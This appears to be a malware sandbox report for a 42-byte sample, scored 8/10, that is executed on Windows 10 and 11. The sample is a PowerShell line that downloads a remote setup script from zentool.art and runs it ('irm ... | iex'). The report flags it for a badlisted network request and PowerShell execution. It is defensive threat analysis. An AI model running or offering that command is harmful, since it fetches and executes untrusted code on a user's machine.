Overview

overview

8

Static

static

1

irm https:...ex.ps1

windows10-2004-x64

8

irm https:...ex.ps1

windows11-ltsc_2024-x64

8

Sharing

Copy URL Twitter E-mail

General

  • Target
    irm https://zentool.art/ps/setup.ps1 | iex.ps1
  • Size 42B
  • Sample261029-xwpcnasvez
  • SHA256 dae09ccf7c4fd4786e95bef00945c20c29b16f023c9660c41ed4c98ec23926d9
  • MD5 SHA1 SHA512
Score
8/10
execution

Malware Config

Targets

    • Target
      irm https://zentool.art/ps/setup.ps1 | iex.ps1
    • Size 42B
    • SHA256 dae09ccf7c4fd4786e95bef00945c20c29b16f023c9660c41ed4c98ec23926d9
    • MD5 SHA1 SHA512
    Score
    8/10
    execution

    • Badlisted process makes network request

      Network request originating from process or tool commonly abused by malware.

    • Command and Scripting Interpreter: PowerShell

      Using powershell.exe command.

      execution
    behavioral1behavioral2

MITRE ATT&CK Enterprise v16

Tasks